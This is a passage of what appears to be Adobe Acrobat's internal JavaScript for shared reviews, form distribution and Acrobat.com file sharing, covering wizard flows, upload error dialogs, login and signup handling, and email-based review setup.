    var startPayloadParams = {};

    var addStringToPayloadParams = {};

    startPayloadParams.cat = "FormDistribution";

    startPayloadParams.subcat = "FormDistributionPayload";

    startPayloadParams.evnt = "FormDistributionPayload";

    app.beginPriv();

    Collab.AVUMStartPayloadWrapper(startPayloadParams);

    app.endPriv();

	CBRunFormDistributionWizard(data, step);

	

	DebugAlert("data.IWStatus " + data.IWStatus);

	var retVal;

	if(data.result == "fnsh" || data.placeSubmitButton == true)

	{

		retVal = CBFormDistributionComplete(data);	

	}

	else

	if(data.IWStatus == 3 || data.IWStatus == 4)

	{

		retVal = 

				{

					IWStatus: data.IWStatus,

					originalPath: data.docPath,

				};

	}

	app.beginPriv();

	Collab.AVUMEndPayloadWrapper();

	app.endPriv();

	//We want to close all the docs opened by wizard on cancel. On finish, we want to close all the docs for which workflow has not completed.

	if((data.result == "cncl" || data.result == "fnsh" || data.IWStatus == 3 || data.IWStatus == 4) && data.docsOpenedByWizard.length > 0)

	{

		for(var i in data.docsOpenedByWizard)

		{

		    var doc = data.docsOpenedByWizard[i];

		    app.beginPriv();

		    if(data.result == "cncl" || doc != data.doc)

                doc.closeDoc({bNoSave: true, rsvd1: true});

            app.endPriv();

	    } 

	}

	return retVal;

})



function CBRunFormDistributionWizardEmail(data, startStep)

{

	DebugAlert("CBFormDistributionWizard");



	// simply an array of steps

	var wiz = CBTrustPropagateWiz({

		finishString: AnnotsString.IDS_FINISH,

		title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

		steps: IWEmailFormSteps,

	});

	

	DebugAlert("calling cbrunsimplewiznew from wizemail")

	return CBRunSimpleWizNew(wiz, 0, 0, data);



}





/*

errorType:

	1: unsupported_file_type only 

	2: out_of_space error only

	3: random error only

	4: unsupported_file_type and out_of_space errors

	5: out_of_space and random error

	6: unsupported_file_type and random error

	7: unsupported_file_type, out_of_space, random error

*/

function IWUploadFileFailedDialog (data, filesFailed_Unsupported, fileFailed_OutOfSpace, filesFailed_Unknown, bAllFailed)

{

	var errorType = 0;



	if		((filesFailed_Unsupported.length > 0) && (fileFailed_OutOfSpace.length == 0) &&  (filesFailed_Unknown.length == 0) )

		errorType = 1

	else if ((filesFailed_Unsupported.length == 0) && (fileFailed_OutOfSpace.length > 0) &&  (filesFailed_Unknown.length == 0) )

		errorType = 2

	else if ((filesFailed_Unsupported.length == 0) && (fileFailed_OutOfSpace.length == 0) &&  (filesFailed_Unknown.length > 0) )

		errorType = 3

	else if ((filesFailed_Unsupported.length > 0) && (fileFailed_OutOfSpace.length > 0) &&  (filesFailed_Unknown.length == 0) )

		errorType = 4

	else if ((filesFailed_Unsupported.length == 0) && (fileFailed_OutOfSpace.length > 0) &&  (filesFailed_Unknown.length > 0) )

		errorType = 5

	else if ((filesFailed_Unsupported.length > 0) && (fileFailed_OutOfSpace.length == 0) &&  (filesFailed_Unknown.length > 0) )

		errorType = 6

	else if ((filesFailed_Unsupported.length > 0) && (fileFailed_OutOfSpace.length > 0) &&  (filesFailed_Unknown.length > 0) )

		errorType = 7;





	var description = 

	{

		initialize: function(dialog)

		{

			var toShow = {};

			var toLoad = {};

			var txt0 = "";



			var params =

			{

				"list":

				{

					aColumns: 

					[

						{ Name: "FileName", UI: AnnotsString.IDS_SAHRE_FILE_ERROR_DIALOG_MCLV_COL1, width: 0.6 }, 

						{ Name: "Error", UI: AnnotsString.IDS_SAHRE_FILE_ERROR_DIALOG_MCLV_COL2, width: 0.4 }, 

					],



					aRows: []

				},

			};



			//Hide both the links and enable them when required

			toShow.lnk1 = false;

			toShow.lnk2 = false;



			//Set the top message and the link text based on the error type

			if (errorType == 1)//1: unsupported_file_type only 

			{

				txt0 = bAllFailed ? (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_UNSUPPORTED_FILE_TYPE_ONLY_AND_ALL_FAILED) : (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_UNSUPPORTED_FILE_TYPE_ONLY)

				toLoad.txt0 = txt0;



				toShow.lnk1 = true;

				toLoad.lnk1 = AnnotsString.IDS_SHARE_FILE_LINK_UNSUPPORTED_FILE_TYPES_MSG;

			}

			else if (errorType == 2)//2: out_of_space error only

			{

				txt0 = bAllFailed ? (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_OUT_OF_SPACE_ONLY_AND_ALL_FAILED) : (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_OUT_OF_SPACE_ONLY)

				toLoad.txt0 = txt0;



				toShow.lnk1 = true;

				toLoad.lnk1 = AnnotsString.IDS_SHARE_FILE_ERROR_OUT_OF_SPACE;

			}

			else if (errorType == 3 )//3: random error only

			{

				txt0 = bAllFailed ? (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_UNKNOWN_ONLY_AND_ALL_FAILED) : (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_UNKNOWN_ONLY)

				toLoad.txt0 = txt0;

			}

			else if (errorType == 4)//4: unsupported_file_type and out_of_space errors

			{

				txt0 = bAllFailed ? (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL_AND_ALL_FAILED) : (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL)

				toLoad.txt0 = txt0;



				toShow.lnk1 = true;

				toLoad.lnk1 = AnnotsString.IDS_SHARE_FILE_UNSUPPORTED_FILE_TYPES;



				toShow.lnk2 = true;

				toLoad.lnk2 = AnnotsString.IDS_SHARE_FILE_ERROR_OUT_OF_SPACE;

			}

			else if (errorType == 5)//5: out_of_space and random error

			{

				txt0 = bAllFailed ? (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL_AND_ALL_FAILED) : (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL)

				toLoad.txt0 = txt0;



				toShow.lnk1 = true;

				toLoad.lnk1 = AnnotsString.IDS_SHARE_FILE_ERROR_OUT_OF_SPACE;

			}

			else if (errorType == 6)//6: unsupported_file_type and random error

			{

				txt0 = bAllFailed ? (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL_AND_ALL_FAILED) : (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL)

				toLoad.txt0 = txt0;



				toShow.lnk1 = true;

				toLoad.lnk1 = AnnotsString.IDS_SHARE_FILE_LINK_UNSUPPORTED_FILE_TYPES_MSG;

			}

			else if (errorType == 7)//7: unsupported_file_type, out_of_space, random error

			{

				txt0 = bAllFailed ? (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL_AND_ALL_FAILED) : (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL)

				toLoad.txt0 = txt0;



				toShow.lnk1 = true;

				toLoad.lnk1 = AnnotsString.IDS_SHARE_FILE_LINK_UNSUPPORTED_FILE_TYPES_MSG;



				toShow.lnk2 = true;

				toLoad.lnk2 = AnnotsString.IDS_SHARE_FILE_ERROR_OUT_OF_SPACE;

			}

			else //type = something else implies some random error

			{

				txt0 = bAllFailed ? (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL_AND_ALL_FAILED) : (AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL)

				toLoad.txt0 = txt0;

			}

	

			//Fill the mclv with the filename and the error reason

			for (var i in filesFailed_Unsupported)

			{

				var a_row = 

				{

					FileName: filesFailed_Unsupported[i],

					Error: AnnotsString.IDS_SHARE_FILE_ERROR_UNSUPPORTED_FILE_TYPE,

				};

				params.list.aRows[params.list.aRows.length] = a_row;

			}

			

			for (var i in fileFailed_OutOfSpace)

			{

				var a_row = 

				{

					FileName: fileFailed_OutOfSpace[i],

					Error: AnnotsString.IDS_SHARE_FILE_ERROR_OUT_OF_SPACE,

				};

				params.list.aRows[params.list.aRows.length] = a_row;

			}



			for (var i in filesFailed_Unknown)

			{

				var a_row = 

				{

					FileName: filesFailed_Unknown[i],

					Error: AnnotsString.IDS_SHARE_FILE_ERROR_UNKNOWN,

				};

				params.list.aRows[params.list.aRows.length] = a_row;

			}



			dialog.load(params);

			dialog.load(toLoad);

			dialog.visible(toShow);

		},



		commit: function(dialog)

		{

		},



		idle: function(dialog)

		{

		},

		

		lnk1: function(dialog)

		{

			var url = "";

			if ((errorType == 2)||(errorType == 5))

			{

				url = AnnotsString.IDS_SHARE_FILE_OUT_OF_SPACE_LEARN_MORE_URL;

			}

			else if ((errorType == 1)||(errorType == 4)||(errorType == 6)||(errorType == 7))

			{

				url = AnnotsString.IDS_SHARE_FILE_UNSUPPORTED_FILE_TYPES_URL;

			}

			app.launchURL(url, true);

		},

			

		lnk2: function(dialog)

		{

			var url = "";

			if ((errorType == 4)||(errorType == 7))

			{

				url = AnnotsString.IDS_SHARE_FILE_OUT_OF_SPACE_LEARN_MORE_URL;

			}

			else

			{

				url = "";

			}

			app.launchURL(url, true);

		},



		description: 

		{

			name: SharedString("IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE"+WT),

			align_children: "align_left",

			alignment: "align_fill",

			margin_width: 0,

			margin_height: 0,

			

			elements:

			[

				{

					type:"group",

					elements:

					[

						{

							type: "view",

							align_children: "align_left",

							alignment: "align_fill",

							item_id: "mgrp",

							back_color: "dialogBackground", 

							gradient_direction: "topToBottom", 

							gradient_type: "darkToLight",

							margin_width: Collab.wizardMarginWidth,

							margin_height: Collab.wizardMarginWidth,

							elements:

							[

								{

									type: "static_text",

									width: 450,

									wrap_name: true,

									name: AnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_OUT_OF_SPACE_ONLY,

									item_id: "txt0",

								},

								{

									type: "mclv",

									item_id: "list",

									alignment: "align_fill",

									height: 170,

									width: 450,

								},

								{

									type: "link_text",

									name: AnnotsString.IDS_SHARE_FILE_LINK_UNSUPPORTED_FILE_TYPES_MSG,

									item_id: "lnk1",

									alignment: "align_fill",

								},

								{

									type: "link_text",

									name: AnnotsString.IDS_SHARE_FILE_LINK_OUT_OF_SPACE_MSG,

									item_id: "lnk2",

									alignment: "align_fill",

								},

								{

									type: "ok",

								}

							]

						}

					]

				}

			]

		}

	};



	app.beginPriv();

	description = ANTrustPropagateAll(description);

	app.endPriv();

	

	return description;

};





IWShareFileConfirmDialog = function(msg1, msg2, fileLink)

{

	var dialogData = {};

	dialogData.msg1 = msg1;

	dialogData.msg2 = msg2;

	dialogData.link = fileLink;



	//app.alert(dialogData.msg1);

	

	var description = 

	{

		initialize: function(dialog)

		{

			var toLoad = {}

			toLoad.msg1 = dialogData.msg1;

			toLoad.link = dialogData.msg2;

			dialog.load(toLoad);

		},



		idle: function(dialog)

		{

			// doing nothing here

			return;

		},

		

		commit: function(dialog)

		{

		},



		"link": function(dialog)

		{

			app.launchURL(dialogData.link, true);

		},

		

		description:

		{

			align_children: "align_left",

			width: 400,

			alignment: "align_fill",

			elements:

			[

				{

					type:"group",

					alignment: "align_fill",

					elements:

					[

						{

							type: "static_text",

							item_id: "msg1",

							width: 400,

						},

						{

							type: "link_text",

							name: "",

							alignment: "align_fill",

							item_id: "link",

						},

						{

							type: "ok",

						}

					]

				}

			]

		}

	};



	app.beginPriv();

	description = ANTrustPropagateAll(description);

	app.endPriv();

	

	return description;

}





/*

 * doc: if a doc is opened its object is passed in

 * type: 0 for share file

 * 		 1 for upload file	 

 */

ANShareFile = app.trustedFunction(function(props)

{

	var doc = props.doc;

	var type  = props.type;



	if(doc && Collab.isDocDirty(doc))

	{

        	app.beginPriv();

        	app.alert({cMsg: AnnotsString.IDS_SEND_FOR_COLLABORATION_DOC_DIRTY, oDoc: doc});

        	app.endPriv();

        	return 0;

	}



	var data = {};



	if(doc && doc.path)

	{

		data.docPath = doc.path;

		data.docName = data.docPath.substring(data.docPath.lastIndexOf('/') + 1, data.docPath.length);		

		data.doc = doc;

	}

	

	data.type = type;



	// Run the wizard

	CBRunShareFileWizard(data, 0);

	

	if(data.result == "fnsh")

	{

	    if (data.swConn)

	    {

			CBShareFileComplete(data);

	    	

	    	var initResult = data.initResult;

	    	

	        var bErrorOccured = false;

	        var bAllFailed = true;

	    	

	        for (var i in initResult.props.filesToUpload)

	        {

	        	if (initResult.props.filesToUpload[i].uploadResult != 0)

	        		bErrorOccured = true;

	        	else

	        	{

	        		if (bAllFailed)

	        			bAllFailed = false;

	        	}

	        }

	        	

			//if everything went fine, show the confirmation dialog and the bezel

	        if (!bErrorOccured)

	        {

	        	var bezelMessage = "";

	        	var bezelLinkMessage = "";

	        	var uploadPathName = "";

	        	

	        	if (data.docList.length == 1)

	        	{

	        		bezelMessage = SharedString("IDS_SHARE_FILE_BEZEL_SINGLE_FILE" + WT)

	        		bezelLinkMessage = AnnotsString.IDS_SHARE_FILE_BEZEL_SINGLE_FILE_DOC_CENTER_LINK;

	        		//use the home URL as link even when a single file is uploaded.

	        		//uploadPathName = initResult["props"]["uploadPathName"]["DIText"];

	        	}

	        	else

	        	{

	        		bezelMessage = SharedString("IDS_SHARE_FILE_BEZEL_MULTIPLE_FILES" + WT)

	        		bezelMessage= bezelMessage.replace(/%cNum%/, data.docList.length);

	        		

	        		bezelLinkMessage = AnnotsString.IDS_SHARE_FILE_BEZEL_MULTIPLE_FILES_DOC_CENTER_LINK_;

	        	}

	        	

        		uploadPathName = AnnotsString.IDS_SHARE_FILE_VIEW_MY_FILES;



				DebugAlert("Workflow initiation succeeded");

				DebugAlert("Workflow file URL: " + initResult["props"]["uploadPathName"]["DIText"]);

				DebugPrintln("Workflow file URL: " + initResult["props"]["uploadPathName"]["DIText"]);



	        	var props = {};

	        	

	        	props = 

	        	{

	        		bezelMessage: bezelMessage,

	        		bezelLinkMessage: bezelLinkMessage,

	        		uploadPathName: uploadPathName,

	        	}

	        	

	   	    	//1. If no document is opened, we need to show the confirmation dialog

				//2. else if the active document is a portfolio, then also show the confirmation dialog

				//3. else show the bezel

	   	    	var bShowConfirmationDialog = false;

	   	    	

	   	    	//1. If no document is opened, we need to show the confirmation dialog

				app.beginPriv();

				var docs = app.activeDocs;

				app.endPriv();

				

				if (docs.length == 0)

					bShowConfirmationDialog = true;

				else

				{

					//2. if the active document is a portfolio, then also show the confirmation dialog

					app.beginPriv();

					var doc = Collab.GetActiveDocIW();

					app.endPriv();

					if (doc.isInCollection)

						bShowConfirmationDialog = true;

				}

				

				if (bShowConfirmationDialog)//show the confirmation dialog

				{

					var desc = IWShareFileConfirmDialog(props.bezelMessage, props.bezelLinkMessage, props.uploadPathName);

					app.beginPriv();

					var result = app.execDialog(desc);

					app.endPriv();

				}

				else //3. show the bezel

				{

		        	app.beginPriv();

		        	Collab.shareFileBezel(props);

		   	    	app.endPriv();

				}

	        }

	        else

	        {

		        var filesFailed_Unsupported = [];

		        var fileFailed_OutOfSpace = [];

		        var filesFailed_Unknown = [];

		        for (var i in initResult.props.filesToUpload)

		        {

		        	if (initResult.props.filesToUpload[i].uploadResult == 412) //unsupported file type

		        	{

						var filePath = data.filesToUpload[i].localPath;

						var fileName = filePath.substring(filePath.lastIndexOf('/') + 1, filePath.length);



						filesFailed_Unsupported[filesFailed_Unsupported.length] = fileName;

					}

		        	else if (initResult.props.filesToUpload[i].uploadResult == 403)

		        	{

						var filePath = data.filesToUpload[i].localPath;

						var fileName = filePath.substring(filePath.lastIndexOf('/') + 1, filePath.length);

		        		fileFailed_OutOfSpace[fileFailed_OutOfSpace.length] = fileName;

		        	}

					else if (initResult.props.filesToUpload[i].uploadResult != 0)

					{

						var filePath = data.filesToUpload[i].localPath;

						var fileName = filePath.substring(filePath.lastIndexOf('/') + 1, filePath.length);

						filesFailed_Unknown[filesFailed_Unknown.length] = fileName;

					}

		        }



				DebugPrintln("The following files failed to upload");

	        	ANDumpObj(filesFailed_Unsupported);

	        	ANDumpObj(fileFailed_OutOfSpace);

	        	ANDumpObj(filesFailed_Unknown);

			    

				var desc = IWUploadFileFailedDialog(this.data, filesFailed_Unsupported, fileFailed_OutOfSpace, filesFailed_Unknown, bAllFailed);



				app.beginPriv();

				app.execDialog(desc);

				app.endPriv();



	        	DebugAlert("Workflow initiation failed: " + initResult["errorMessage"]);

	        	DebugPrintln("Workflow initiation failed: " + initResult["errorMessage"]);

	        }

			

	    	app.beginPriv();

	        data.swConn.disconnect();

	        app.endPriv();

	    }

	    else

	    {

	    	//TODO: dikumar, handle this gracefully.

	    	app.alert("\nERROR: Unable to establish connection with Acrobat.com");

	    }

	}

})



CBShareFileComplete = function(data)

{

	var driver = "urn://ns.adobe.com/Collaboration/FileSharing/Acrobat.com";

	var maxStr = AnnotsString.IDS_SHARED_REVIEW_STATUS_TEMPLATE.replace(/{cStatus}/, AnnotsString.IDS_SHARED_REVIEW_COMPLETE_ERROR.replace(/%error%/, AnnotsString.IDS_NETWORK_NO_CONNECT));

	

	app.beginPriv();

	var progressInfo = Collab.getProgressInfo();

	app.endPriv();



	var dialog = 

	{

		oDialog: null,

		nCurrentTask: 0,

		oDriver: driver,

		oProgressInfo: progressInfo,

		data: data,

		aCompleteTasks: [],



		oShareFileTasks:

		{

			// Create the review Directory

			runTask: function(cxt)

			{

				try

				{

			 		var localDiPaths = [];

			 		

			 		cxt.setTaskStatus(AnnotsString.IDS_SHAREFILE_SING_PROGRESS);

			 		

			 		// Conver the docList from platform to dipaths

			        app.beginPriv();

		    		for (var i in data.docList) 

			    		localDiPaths[localDiPaths.length] = Collab.convertPlatformPathToDIPath(data.docList[i]);

		            app.endPriv();



		            var copyMe = true;

		            app.beginPriv();

		            copyMe = Collab.copyMe;

		            app.endPriv();

		

					var invitees = "";

			        if (data.type == 0) 

			        {

			        	invitees = data.reqR.join(";") + ";" + data.optR.join(";");

			        	if (copyMe)

			        		invitees = invitees + ";" + data.user;

			        }

		

			        var props = 

			        {

			        	driver: "urn://ns.adobe.com/Collaboration/FileSharing/Acrobat.com",

			        	invitees: invitees,

			        	//cc: data.optR.join(";"),

			        	subject: data.subj,

			        	body: data.msg,

			        	localPaths: localDiPaths,

			        	filesToUpload: data.filesToUpload,

			        	setACL: (Math.abs(data.accessLevel) == 2)? "true": "false",

			        };

			        

			    	app.beginPriv();

			        initResult = data.swConn.initiateWorkflow(props);

			        app.endPriv();

			        

					DebugPrintln("######the upload result:")

					ANDumpObj(initResult.props.filesToUpload);

					for (var i in initResult.props.filesToUpload)

						ANDumpObj(initResult.props.filesToUpload[i]);										



					data.initResult = initResult;

					data.initiateWorkflowResult = initResult["result"];



					if ((data.initiateWorkflowResult == 0) || (data.initiateWorkflowResult == 412))

					{

						data.saved = true;

						cxt.handleSuccess();

					}

					else

					{

						cxt.handleFailure();

					}

				}

				catch(e)

				{

					//console.println(e.stack);

					cxt.handleFailure();							

				}

			},



			onSuccess: function(cxt) 

			{

	        	if (data.docList.length == 1)

	        		cxt.setTaskStatus(SharedString("IDS_SHARE_FILE_BEZEL_SINGLE_FILE" + WT));

	        	else

	        	{

	        		var msg = SharedString("IDS_SHARE_FILE_BEZEL_MULTIPLE_FILES" + WT);

	        		msg = msg.replace(/%cNum%/, data.docList.length);

					cxt.setTaskStatus(msg);

	        	}

			},

			

			onFailure: function(cxt) 

			{

				var errorMsg = AnnotsString.IDS_DEFINITION_LIST_ERROR;

				var generalError = AnnotsString.IDS_HTTP_ERROR_UNKNOWN.replace(/%cProductVariant%/,

					(app.viewerType.match('Exchange') != null) ?

						AnnotsString.IDS_PRODUCT_VARIANT_ACROBAT :

						AnnotsString.IDS_PRODUCT_VARIANT_READER);

				cxt.setTaskErrorStatus(errorMsg + " " +generalError);

				//cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_GENERIC);

			},

		},

		

		updateProgress: function()

		{

			//this.updateProgressDialog(this.oDialog);

			this.setTaskStatus(this.oProgressInfo.cTaskStatus);

			this.setTaskProgress(this.oProgressInfo.nPercentComplete);

		},



		updateProgressDialog: function(dialog)

		{

		},

		

		initialize: function(dialog)

		{

			var data = this.data;

			if (this.oProgressInfo)

				this.oProgressInfo.setHandler(this);

			

			data.shouldRetry = false;

			this.oDialog = dialog;

			

			var toLoad = { desc: "" };

			var toEnable = { task: data.bWorkspaceSetup, ok: false, cancel: false };



			this.aCompleteTasks[this.aCompleteTasks.length] = ANTrustPropagateAll(this.oShareFileTasks);

			

			dialog.visible({ok: false, cancel: false});

			dialog.load(toLoad);

			dialog.load({ok: AnnotsString.IDS_OK});		

			dialog.enable(toEnable);



			this.data.state = "RUNNING";

			

			// Run the task set

			//this.runCurrentTask();

		},



		setTaskStatus: function(status)

		{

			var msg = AnnotsString.IDS_SHARED_REVIEW_STATUS_TEMPLATE.replace(/{cStatus}/, status);

			//DebugAlert("status  " + msg);

			this.oDialog.load({ desc: msg });

		},

		

		setTaskErrorStatus: function(message)

		{

			this.oDialog.load({ desc: message });

		},



		setTaskProgress: function(nPercent)

		{

			var nSegLen = 100 / this.getNumTasks();

			var nComplete = (this.nCurrentTask + (nPercent/100));

			//DebugAlert("setTaskProgress " + (nComplete * nSegLen));

			this.oDialog.load({ prog: (nComplete * nSegLen) });

		},



		getCurrentTask: function()

		{ 

			var nIdx = this.nCurrentTask;

			return this.aCompleteTasks[nIdx];

		},



		getNumTasks: function()

		{

			return (this.aCompleteTasks.length);

		},



		runCurrentTask: function()

		{

			try

			{

				//DebugAlert("inside runCurrentTask");

				this.setTaskProgress(0);

				this.getCurrentTask().runTask(this);

				if(this.data.state == "RUNNING")

					this.setTaskProgress(100);

			}

			catch(e)

			{

				//console.println(e.stack);

			}

		},



		handleSuccess: function()

		{

			

			this.getCurrentTask().onSuccess(this);

			this.nCurrentTask++;

			//DebugAlert("in handleSuccess, this.nCurrentTask=" + this.nCurrentTask);



			if(this.nCurrentTask >= this.getNumTasks())

			{

				// Complete

				this.data.bWorkspaceSetup = true;

				this.oDialog.enable({ ok: true });

				this.commit(this.oDialog);

			}

			else this.runCurrentTask();

		},



		handleFailure: function(e)

		{

			try

			{

				if(e != undefined && e.text != undefined)

				{

					var s = AnnotsString.IDS_SHARED_REVIEW_COMPLETE_ERROR.replace(/%error%/, e.text);

					this.setTaskStatus(s);

				}



				this.getCurrentTask().onFailure(this);

				this.data.state = "RETRY";

				this.oDialog.load({ok: AnnotsString.IDS_SHARED_REVIEW_COMPLETE_RETRY});

				this.oDialog.visible({ok: true, cancel: true});

				this.oDialog.enable({ok: true, cancel: true});

				this.nCurrentTask = 0;

				this.setTaskProgress(0);

			}

			catch(e)

			{

				//console.println(e.stack);

			}

		},



		commit: function(dialog)

		{

			switch(this.data.state)

			{

				case "RETRY":

					this.nCurrentTask = 0;

					this.data.state = "RUNNING";

					this.data.shouldRetry = true;

					break;



				case "RUNNING":

					this.data.shouldRetry = false;

					dialog.end("ok");

					break;

			}

		},



		description: 

		{

			name: SharedString("IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE" + WT),

			width: 450,

			elements:

			[

				{

					type: "view",

					alignment: "align_fill",

					elements:

					[

						{

							type: "view",

							align_children: "align_row",

							elements:

							[

								{

									type: "progress_bar",

									width: 400,

									height: 12,

									item_id: "prog",

								},

							]

						},

						{

							type: "static_text",

							alignment: "align_fill",

							item_id: "desc",

							wrap_name: true,

							name: maxStr,

							width: 450,

						},

						{

							type: "ok_cancel",

							ok_name: AnnotsString.IDS_SHARED_REVIEW_COMPLETE_RETRY,

						}

					]

				}

			]

		}

	};



	data.shouldRetry = true;

	while(data.shouldRetry)

	{

		app.beginPriv();

		app.execDialog(ANTrustPropagateAll(dialog));

		app.endPriv();

	}



	if (dialog.oProgressInfo)

		dialog.oProgressInfo.setHandler();

	dialog.oProgressInfo = null;



}



function ANDocCenterLoginForAddReviewers()

{

	this.result = new Object;

	this.result.response = false;

	

	var data = {};

	data.reviewType = "DocCenterLogin";

	

	//1. try silent (this can be done on the c++ side as well)

	if (!SilentDocCenterLogin(data, {bShowProgressMonitor:true, cDriver:"urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com"}))

	{

		var wiz = CBTrustPropagateWiz({

			finishString: AnnotsString.IDS_FINISH,

			title: AnnotsString.IDS_SHARED_REVIEW_ADOBE_DOC_CENTER,

			steps: DocCenterLoginSteps,

		});

		

		CBRunSimpleWizNew(wiz, 0, -1, data);

		

		if(data.result == "fnsh")

		{

			if (data.swConn)

				this.result.response = true;

			else

				this.result.response = false;

		}

		else

		{

			this.result.response = false;

		}

	}

	else

	{

		if (data.swConn)

			this.result.response = true;

		else

			this.result.response = false;

	}



	if (this.result.response == true)

	{

		this.result.Username = data.user;

		this.result.Password = data.pswd;

		this.result.SaveCredential = data.rememberPassword;

		this.result.swConn = data.swConn;	

	}

	else

	{

		this.result.swConn = null;

	}

	

	ANDumpObj(this.result);

	

	return this.result;

}





ANDocCenterSignup = app.trustedFunction(function()

{

	this.result = new Object;

	this.result.response = false;



	/* First check if Acrobat.com Signup is blocked because of COPPA Restrictions. If yes, display the 

	eligibilty requirements error dialog, else continue to the next step. More details about the

	APIs and COPPA requirements                 

	https://zerowing.corp.adobe.com/display/Acrobat/JavaScript+APIs+for+enforcing+COPPA+Requirements

	*/

	app.beginPriv();

	var disabled = Collab.isDocCentreSignupDisabled();

	app.endPriv();



	if (disabled) {

	    var desc = IWSharedReviewDocCenterEligibilityErrorDialog();

	    app.beginPriv();

	    var result = app.execDialog(desc);

	    app.endPriv();

	    return this.result;;

	}

	 	

	var data = {};

	data.reviewType = "DocCenterSignup";

	

	var wiz = CBTrustPropagateWiz({

		finishString: AnnotsString.IDS_FINISH,

		title: AnnotsString.IDS_SHARED_REVIEW_ADOBE_DOC_CENTER,

		steps: DocCenterSignupSteps,

	});

	

	CBRunSimpleWizNew(wiz, 0, -1, data);

	

	if(data.result == "fnsh")

	{

		if (data.swConn)

			this.result.response = true;

		else

			this.result.response = false;

	}

	else

	{

		this.result.response = false;

	}



	if (this.result.response == true)

	{

		this.result.Username = data.user;

		this.result.Password = data.pswd;

		this.result.SaveCredential = data.rememberPassword;

	}

	

	ANDumpObj(this.result);

	

	return this.result;

})



// called at the beginning of a BBR initiation

CBBBRInit = app.trustedFunction(function(doc)

{

	app.beginPriv();

	var eaddr = identity.email;

	app.endPriv();



	if(!eaddr)

	{

		do

		{

			bStatus = Collab.getIdentity(false, AnnotsString.IDS_REVIEW_IDENTITY_SETUP_TEXT);

			if (bStatus)

			{

				app.beginPriv();

				eaddr = identity.email;

				app.endPriv();



				if(!CBIsValidEmail(eaddr))

				{

					app.beginPriv();

					app.alert({cMsg: AnnotsString.IDS_EMAIL_INVALID, cTitle: AnnotsString.IDS_BROWSER_BASED_REVIEW_TITLE, nIcon: 1, oDoc: doc});

					app.endPriv();

					eaddr = null;

				}

			}

			else

			{

				eaddr = null;

				break; // Cancel

			}



		} while(eaddr == null);

		// got a response?  pop it into the author info field

		app.beginPriv();

		if(eaddr != null)

			identity.email = eaddr; 

		app.endPriv();

	}



	if(eaddr == null) return ""; // Need identity to complete



	var data = {};

	

	if(doc && doc.path)

	{

		data.docPath = doc.path;

		if(doc.path.match(/^http/))

			data.docFS = fileSystem.WebDAV; // XXX get this from the doc itself

	}

		

	CBRunBBRReviewWizard(data, 0, 1);

	

	if(data.result == "fnsh")

		return data.fixedDestURL;

	else

		return "";

})



// called after the doc opens in the browser for a BBR initiation

// decodedURL is a version of the URL in which any %-encoded characters have been decoded back into Unicode

CBBBRInvite = app.trustedFunction(function(doc, decodedURL)

{

	var data = {doc: doc, decodedURL: decodedURL};



	app.beginPriv();

	var email = identity.email;

	app.endPriv();



	while(true)

	{

		CBRunBBRReviewWizard(data, 2, -1);



		if(data.result == "fnsh")

		{

			var to = data.addrs.join(";");

		

			var cstoreInit = CBFreezeFunc(function()

			{

				Collab.createAnnotStore({ cName: "{cName}", cSettings: "{cSettings}" });

			},

			{

				cName: doc.collabStoreType,

				cSettings: doc.collabStoreSettings

			}) + "()";

			

			var initDate = new Date();



			var init = CBFreezeFunc(function()

			{

				if(!eval("{canDoWorkflow}"))

				{

					app.alert("{cAcroVersion}");

				}

				else

				{

					var script = "{script}";

					

					eval(script);

					var params = 

					{

					    doc: this,

					    initiator: "{initiator}",

					    initScript: script,

					    invitees: "{to}",

					    cc: "{cc}",

					    bcc: "",

					    sentDate: "{date}",

					};

					Collab.registerReview(params);

				}

			},

			{

				cAcroVersion: AnnotsString.IDS_SEND_FOR_REVIEW_VERSION_ERR,

				canDoWorkflow : CBCanDoReviewWorkflowCheckExpr,

				initiator: email,

				to: to,

				cc: "",

				date: initDate,

				script: cstoreInit

			}) + "()";



			var initAPR = CBFreezeFunc(function()

			{

				if(!eval("{canDoWorkflowAPR}"))

				{

					app.alert("{cAcroVersion}");

				}

				else

				{

					var script = "{script}";

					

					eval(script);

					var params = 

					{

					    doc: this,

					    initiator: "{initiator}",

					    initScript: script,

					    invitees: "{to}",

					    cc: "{cc}",

					    bcc: "",

					    sentDate: "{date}",

					};

					Collab.registerReview(params);

				}

			},

			{

				cAcroVersion: AnnotsString.IDS_SEND_FOR_REVIEW_VERSION_ERR,

				canDoWorkflowAPR : CBCanDoWorkflowCheckExprAPR,

				initiator: email,

				to: to,

				cc: "",

				date: initDate,

				script: cstoreInit

			}) + "()";



			var subj = data.subj;

			var url = "mailto:" + escape(to) + "?subject=" + escape(subj) + "&body=" + escape(data.msg) + "&ui=false";

			

			var sendResult;

			var sendRaise = false;

			var	e;

			try

			{

				app.beginPriv();

				sendResult = doc.submitForm({cURL: url,	aFields: [], oJavaScript: { After: init, AfterPermsReady: initAPR }, bCheckReqdFields: false });

				app.endPriv();

			}

			catch(e)

			{

				app.alert({cMsg: e["message"], oDoc: doc});

				sendRaise = true;

			}

		

			if(!sendRaise && sendResult)

			{

				// Register the review for the initiator

				var params = 

				{

				    doc: doc,

				    initiator: null,

				    initScript: cstoreInit,

				    invitees: to,

